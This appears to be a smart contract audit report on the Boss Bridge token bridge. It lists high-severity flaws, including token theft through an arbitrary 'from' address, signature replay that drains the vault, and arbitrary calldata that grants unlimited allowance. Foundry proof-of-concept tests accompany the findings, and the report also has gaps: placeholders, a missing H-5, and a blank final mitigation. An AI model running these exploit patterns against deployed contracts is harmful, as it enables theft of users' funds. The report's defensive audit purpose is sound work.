Boss Bridge Audit Report

Version 1.0

Nihavent

February 3, 2024

Boss Bridge Report

Nihavent

Feb 03, 2024

Prepared by: [Nihavent] Lead Auditors: - xxxxxxx

Table of Contents

    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-6] `L1BossBridge::depositTokensToL2`'s `L1BossBridge::DEPOSIT_LIMIT` check allows contract to be DoS'd if a malicious user fills up the vault.
- Low
    * [L-1] The `TokenFactory::deployToken` does not check if a token with the same symbol has already been created, and can therefore deploy multiple token contracts with the same symbol

Protocol Summary

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings in this document correspond to the follwoing Commit Hash:

```
xxx
```

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	0
Low	1
Info	0
Total	7

Findings

Findings

High

[H-1] Any user who give tokens approvals to `L1BossBridge` may have those assest stolen due to arbitrary `from` parameter in `L1BossBridge::depositTokensToL2`

Description The `L1BossBridge::depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge:

```
@>  function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) { // max vault balance
            revert L1BossBridge__DepositLimitReached();
        }
@>      token.safeTransferFrom(from, address(vault), amount);
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero (up to the approved limit). This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concept As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
    function testCanStealApprovedTokensFromOtherUsers() public {
        vm.prank(user); // Alice approving the bridge to spend her tokens
        token.approve(address(tokenBridge), type(uint256).max);

        // Bob stealing money by depositing Alice's balance into L1 vault and receiving the funds on Bob's L2 address
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        // Bob steals Alice's tokens - funds are sent to Bob on the L2
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation Consider modifying the `L1BossBridge::depositTokensToL2` function so that the caller cannot specify a `from` address. Replacing this `from` address with msg.sender ensures only the caller can initiate a transfer from their address to the L1 vault.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `L1BossBridge::depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked L2 tokens

Description Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `L1BossBridge::depositTokensToL2` function and transfer tokens from the vault to the vault itself.

Impact This would allow the attacker to trigger the `L1BossBridge::Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Proof of Concept As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
    function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance); // put
           tokens in the vault

        // Can trigger the deposit event when we self transfer events
           from vault to vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);
    }
```

Recommended Mitigation As suggested in H-1, consider modifying the `L1BossBridge::depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `L1BossBridge::withdrawTokensToL1` allows withdrawals by signature to be replayed

Description Users who want to withdraw tokens from the bridge can call the `L1BossBridge::sendToL1` function, or the wrapper `L1BossBridge::withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

Impact The signatures do not include any kind of replay-protection mechanisn (e.g., nonces, deadlines). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
    function testSignatureReplay() public {
        // assume the attacker and vault already holds some tokens
```

```
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        uint256 attackerInitialBalance = 100e18;
        address attacker = makeAddr("attacker");
        deal(address(token), address(attacker), attackerInitialBalance);

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);

        // attacker deposits tokens from their L1 wallet to their L2 wallet via the bridge
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

        // on the L2, the attacker called the withdrawTokensToL1 function

        // The signer/operator is going to sign the withdrawal on L2
        // This is the message:
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, attackerInitialBalance)
            )
        );
        // This is the message, signed with the operator's keys and returning the v, r, s components of the signed message
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key, //operator private key
            MessageHashUtils.toEthSignedMessageHash( // message formated to EIP-191
                keccak256(message)
            )
        );

        // Because the operators signed the message once, we can replay that message until the vault is empty
        while(token.balanceOf(address(vault)) > 0) {
            // The attacker can replay the signature and withdraw the tokens from the vault
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + vaultInitialBalance);
```

```
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation Redesign the withdrawal logic to implement replay protection via use of a `nonce` and the `chainid` of the withdrawal.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description The `L1BossBridge::sendToL1` function can be called with a valid signature by an operator, which can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

Impact The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes it's `L1Vault::approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Proof of Concept Place the following test in the `L1BossBridge.t.sol` file:

```
    function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        // Give the vault an initial balance
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        // An attacker deposits tokens to L2. We do this under the
           assumption that the bridge operator needs to see a valid
           deposit tx to then allow us to request a withdrawal.
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't
           validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // attack occurs here where we approve
                the attacker to spend all tokens from the vault
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
           operator.key);

```

```
        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(
            uint256).max);

        //The attacker finally collects all tokens from the vault
        token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
    }
```

Recommended Mitigation Redesign these functions to now allow arbitrary calldata, strictly the transfer functions associated with the vault depotis. In addition the signers could validate or create the calldata themselves.

[H-6] `L1BossBridge::depositTokensToL2`'s `L1BossBridge::DEPOSIT_LIMIT` check allows contract to be DoS'd if a malicious user fills up the vault.

Description In the `L1BossBridge::depositTokensToL2` function, deposits to the L1 vault are reverted if deposited amount would result in the balance of the vault exceeding the maximum balance set in the `L1BossBridge::DEPOSIT_LIMIT` constant:

```
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
```

Impact A malicious user can fill up the vault via donation or bridge which stops other users from accessing the protol.

Proof of Concept Place the following test in the `L1BossBridge.t.sol` file:

```
    // DoS attack on the bridge by calling by filling up the vault with
        tokens
    function testDosAttackOnVault() public {
        // Vault has limit of number of tokens:
        uint256 vaultDepositLimit = tokenBridge.DEPOSIT_LIMIT();

        // Lets say at a point in time the vault has some number of
            tokens
        uint256 currentVaultBalance = 1000e18;
        deal(address(token), address(vault), currentVaultBalance);

        // After some amount of tokens are added, the vault will be at
            the DEPOSIT_LIMIT
        uint256 requiredDepositForDos = vaultDepositLimit -
            currentVaultBalance;

        // An attacker can create a DoS by filling up the vault:
        address attacker = makeAddr("attacker");
```

```
        vm.startPrank(attacker);
        deal(address(token), address(attacker), requiredDepositForDos);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, requiredDepositForDos);

        console2.log("Current vault balance: ", token.balanceOf(address(vault)));

        // Now a new user cannot use the service
        address newUser = makeAddr("newUser");
        vm.startPrank(newUser);
        deal(address(token), address(newUser), 1e18);
        token.approve(address(tokenBridge), type(uint256).max);

        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.selector);
        tokenBridge.depositTokensToL2(newUser, newUser, 1e18); // tx reverts
    }
```

Recommended Mitigation Without increasing the cap of deposits, consider limiting the deposits from any single address to allow a sufficient number of users to use the platform.

Low

[L-1] The `TokenFactory::deployToken` does not check if a token with the same symbol has already been created, and can therefore deploy multiple token contracts with the same symbol

Description `TokenFactory::deployToken` is not checking for duplicate token symbols:

```
    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

Impact If two tokens were created with the same symbol, the second token address would overwrite the first token address in the mapping `TokenFactory::s_tokenToAddress`

Proof of Concept Paste the following in `TokenFactoryTest.t.sol`:

```
function testDuplicateTokenSymbolOverridesExistingTokenAddressInMapping() public {
    vm.startPrank(owner);
    address original = tokenFactory.deployToken("TEST", type(L1Token).creationCode);
    address duplicate = tokenFactory.deployToken("TEST", type(L1Token).creationCode);

    // We check the mapping and confirm that the duplicate token address is stored in the mapping under toke sumbol 'TEST'
    assertEq(tokenFactory.getTokenAddressFromSymbol("TEST"), duplicate);
}
```

Recommended Mitigation